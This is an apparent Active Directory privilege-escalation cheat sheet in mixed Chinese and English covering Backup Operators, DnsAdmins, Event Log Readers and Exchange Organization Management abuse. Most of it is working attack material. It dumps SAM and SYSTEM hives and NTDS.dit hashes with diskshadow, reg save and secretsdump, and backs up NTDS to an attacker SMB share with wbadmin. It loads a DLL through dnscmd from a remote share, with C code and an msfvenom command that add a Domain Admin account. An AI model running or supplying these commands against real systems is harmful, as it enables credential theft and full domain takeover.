diskshadow.exe
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
begin backup
add volume C: alias cdrive
create
expose %cdrive% F:
end backup
exit
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
从 NTDS.dit 中检索所有哈希值:
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
使用 wbadmin.exe
在攻击者机器上为 SMB 服务器设置 NTFS 文件系统,并在目标机器上缓存 SMB 凭据。
使用 wbadmin.exe 进行系统备份和 NTDS.dit 提取:
net use X: \\<AttackIP>\sharename /user:smbuser password
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
wbadmin get versions
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl
DnsAdmins
DnsAdmins 组的成员可以利用其特权在 DNS 服务器上以 SYSTEM 特权加载任意 DLL,通常托管在域控制器上的 DNS 服务器。这种能力提供了重要的利用潜力。
要列出 DnsAdmins 组的成员,请使用:
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
执行任意 DLL
成员可以使用诸如以下命令使 DNS 服务器加载任意 DLL(可以是本地的,也可以是来自远程共享的):
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
// Modify DLL to add user
DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
{
system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");
}
// Generate DLL with msfvenom
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll
# Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}
# Take ownership and start the service
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
sc.exe start MozillaMaintenance
组织管理
在部署Microsoft Exchange的环境中,一个名为Organization Management的特殊组拥有重要的能力。该组有权限访问所有域用户的邮箱,并且对**'Microsoft Exchange Security Groups'组织单元(OU)拥有完全控制**。这种控制包括**Exchange Windows Permissions**组,可以被利用进行特权升级。